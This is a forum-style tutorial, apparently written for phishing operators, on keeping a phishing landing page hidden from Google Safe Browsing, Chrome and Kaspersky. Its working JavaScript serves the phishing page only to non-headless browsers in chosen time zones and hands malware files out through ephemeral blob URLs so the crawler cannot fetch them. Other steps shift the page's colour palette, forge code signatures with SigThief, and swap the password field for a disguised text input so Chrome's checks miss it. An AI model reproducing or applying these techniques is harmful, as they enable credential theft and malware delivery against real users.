Reaction score
A step-by-step guide with code examples on how to save your landing page from the red screen of happiness.


0. What will we learn? Contents​

  • What does Google Safe Browsing consist of?
  • How to choose a suitable domain
  • How to create the correct SSL certificate
  • How to hide a landing page from the GSB crawler
  • Updating the crypt js files of the previous landing page
  • How to bypass detection based on the site palette
  • How to bypass Kaspersky detection
  • How to bypass file download blocking in Chrome
  • What and how to replace the password entry form
Sounds good. Go.

1. What is Google Safe Browsing?​

Google Safebrowsing consists of four parts:

  • Chrome built-in phishing detection mechanism based on matching color palettes and parts of domains of previously visited sites.
  • mechanism for checking URLs and file hashes for matches using a preloaded database of shortened hashes stored locally.
  • mechanism for unpacking most types of archives, and checking hashes of executable files and hashes of their sections against a locally stored database.
  • a crawler that receives the addresses of downloaded files, goes through them, downloads them and transmits them to Google servers for analysis by the anti-virus engine, using the VirusTotal service.

2. We need a new domain​

The domain should be allowed to rest for at least a week, because... Google doesn’t trust domains registered yesterday at all. The domain name must not contain:

  • brand words
  • brand words with typos
  • domain names that the user has visited previously, such as dhl, telegram, hsbc and the like.
For example, let's take the domain

3. We need an SSL certificate for the domain​

To do this, we will link the domain to When created, all SSL certificates are included in a special feed called certificate transparency log. This feed is constantly monitored by antivirus companies. You can look at it yourself, for example here: Therefore, all certificates issued for domains containing branded words or branded words with misspellings immediately come to the attention of antivirus companies, and your phishing message placed on a misspelled domain will be instantly flagged as malicious. Therefore, we cannot order a certificate for a branded domain with a typo. However, cloudflare gives us the opportunity to order a wildcard certificate for free. This is a certificate for all subdomains of a domain, without specifying a specific subdomain name. Thus, our subdomain with a typo in the name will not be noticed by antivirus companies.

This is what an entry for a wildcard domain looks like in the domain dns settings in cloudflare:


here is the IP address of our server
Now our landing page will be available, for example, at

4. Hide the landing page from the GSB crawler​

The GSB crawler (like the GoogleAds crawler) is based on the pure Google Chrome engine with minimal changes. It runs in headless mode and is controlled via the webdriver protocol. It is pointless to try to block it by IP address, because... it uses proxy servers with home addresses. But in headless mode, the desktop version of the Chrome browser disables support for the Notification API. Based on the availability of support for this api, we will identify the crawler and show it a white site instead of a malicious one.

First, we will create a white decoy site.

Let's say the start page of our phishing is called index.php. Let’s rename it to home.php, and in the body of the index.php page we’ll put the code of a blank (white) landing page purchased from a telegram bot.

Now the code for the index.php start page looks something like this:


So that users see not a white site, but our phishing page, we will add the following html code to the head section of our start page index.php:

home = 'L2hvbWUucGhw';
zones = /Madrid|Canary|Vienna|Istanbul/gi;
timezoneOffset = zones.test((new Intl.DateTimeFormat).resolvedOptions().timeZone);
function(r){return r.text().then(function(t){document.write(t)})}

In this code we do the following:

  • in the home variable we hid the address of the phishing page (home.php), encoding it in base64 (for example, on the site This is necessary because the GSB crawler extracts all the links from the files it downloads and tries to download and analyze them.
  • For the sake of order, we cut off unnecessary users based on the time zone used by their system. This is not a critical move, but it will protect our phishing from prying eyes. Here is a table of time zone names for the countries we are interested in: If we want to drive traffic to the landing page, for example, from Germany, then we will replace the line zones = /Madrid|Canary|Vienna|Istanbul/gi; to the line zones = /Berlin/gi; and thus cut off all users (and crawlers) with a different time zone selected in their system settings.
  • The last step is to check notification api support and, if the user has selected a time zone that suits us, we download the contents of the home.php file and replace the contents of the current index.php page with its contents.
Now the code for our start page index.php looks something like this:


And all suitable users see our evil landing page:


Great. Go ahead.

5. Let's rewrite all js files from our previous landing page​

Google crawler checks and remembers all js files from pages identified as malicious. Therefore, before starting work, we definitely need to re-obfuscate all the js files of our landing page. To do this, you can use any of the numerous javascript obfuscators, for example

6. Let's change the color palette of our landing page​

The Chrome browser has a built-in mechanism for identifying phishing sites based on the coincidence of the sum of all pixels on a page of each color with the palettes of sites previously visited by the user. We can change the color palette of our landing page in one line of javascript code, which must be placed in a js file loaded from the <head> section of the home.php page, so that it is executed before the page body is loaded. Here's this line:"filter:hue-rotate(4deg)";

Let's add it to any javascript file from the <head> section of the page, for example in jquery.js:


7. Let's change the original <title> of the landing page to any other​

Kaspersky Anti-Virus checks whether the content of the page's <title> tag matches the content of the <title> of pages previously visited by the user. Let's replace, for example:


to any other text:


8. If a file is downloaded from your landing page​

The addresses of all files downloaded by the Chrome browser are sent to Google, and then the GoogleSafeBrowsing crawler comes to these addresses, downloads the files and analyzes them with its own anti-virus engine and on the platform. Hashes of dangerous files and sections of executable files are stored locally in the Chrome browser. Therefore, first of all, we need to use a clean file. Chrome will also block file downloading if:

  • His name contains brand words. Therefore, we cannot give the file a name, for example, FireFox_Installer.exe, but will use a neutral name, for example Installer.exe.
  • If the file download is not initiated by a user click (namely the user - the .click() method using javascript is not suitable for us)
  • If the file type is executable (or the archive with the file contains executable files), and the domain from which the file is downloaded has not been visited by the user in the last 24 hours.
  • If the file type is executable (or the archive with the file contains executable files), and the file does not have a digital signature (at least invalid).
For general information, in the source code of the Chromium browser you can read by what parameters the browser determines the danger of a file:;drc=591c5c478112625a5da995afeeb6566429c04ef9.

Which files Chrome considers executable can be seen here: =af17ad3f07c1d8a24381eb7669bec0c2ffb86521.

First, using the SigThief utility, we will attach to our file any digital signature taken from any signed executable file.

To prevent Google crawler from downloading our file, we need to:

  • refuse to use static file addresses
  • remove the pure file address from the page code
  • give the file to the user via an ephemeral blob-url
Let's say our button to download a file looks like this:


Let's remove the direct address of the file from it, for example, encoding it in base64 with any of the base64 encoders (for example and add any id for the button to hook onto it in javascript:


Now we’ll add code to our .js file (in our example it’s jquery.js) that will wait until the DOM tree of the page is completely loaded and replace the file address with a temporary blob-url for all links with id="clickbtn":

document.addEventListener('DOMContentLoaded',function(e) {
document.querySelectorAll('#clickbtn').forEach(function(a,url) {
url = atob(a.href.split('/').slice(-1)[0]);
fetch(url).then(function(r){return r.blob()}).then(function(blob){
a.href = URL.createObjectURL(blob); = url.split('/').slice(-1)[0];

Now our file with javascript code will look something like this:


Now let's obfuscate this code using



Please remember that even if the archive containing the file is password protected, the Chrome browser can still see the names of the files in the archive and understand that the archive contains executable files.

9. If your landing page has a password entry form​

This is already more complicated. First of all, Chrome is proactively suspicious of HTML pages containing a password entry field or the word password in any language.

First, let's get rid of the words password on the page. Pseudo-elements in css such as ::before or ::after do not contribute to the page's DOM tree representation and are ideal for us. Let's remove the word password from the page code and display it using css. Let's assume that our password word in the page code looks like this:


Let's remove it, and in its place we will put any string element with any class. For example span with class pass:


Now, anywhere in the html code of our page, add the following html code:


In this case, we added the character \08 (backspace) to obfuscate the word password inside the style block. And here is the result:



Let's get rid of the password input field by replacing it with a regular <input type="text">.

Let's say our password input field looks like this:


Let's replace it with the following code:

<div class="wrapper">
<input type="text" id="dots" class="form-control input ext-input text-box ext-text-box">
<input type="text" name="passwd" id="i0118" class="form-control input ext-input text-box ext-text-box">


We changed the type of the password field from password to text, then added the same text input field with id="dots" in front of it, and wrapped both fields in a separate layer. This is necessary to display a natural password entry field. The first input will contain only ● characters, representing the password characters as the user types them. The second input will be superimposed on top of the first, have zero transparency, and pass all typed characters to the first input. We also copied all the classes from the password input to the classes of the input element with bold dots to preserve the original design. Now let's take care of overlaying the second input field on the first. Let's add the following styles to the code of our page:

.wrapper {position:relative;}
.wrapper input[type=text] {position:absolute!important}
.wrapper #i0118 {opacity:0!important}

where in our example #i0118 is the id of the original password field. Now our css code looks like this:


In the code above, the position:relative value of the block with the wrapper class is necessary to position the inner blocks absolutely to the parent element.

Now let's animate the input fields using javascript. Let's add the following code to any of the included .js files (or directly to the body of the page, after wrapping it with a <script> tag):

document.addEventListener('DOMContentLoaded', function(e) {
i0118.onfocus = function(e){dots.value=dots.value||'|'}
i0118.onkeyup = function(e){dots.value=i0118.value.replace(/./g,'●')+'|'}

In the above code, i0118 is the id of the original password field, and dots is the id of the field representing the user input. Now our js code looks like this:


If you included all the code in the body of the page, it should now look something like this:


And here is our final result:


You can play with a live code example at,output

Great. We got rid of all mentions of the word password on the page, and removed the password entry field.

10. Done.​

Now, if we have completed all the steps correctly, our landing page is completely safe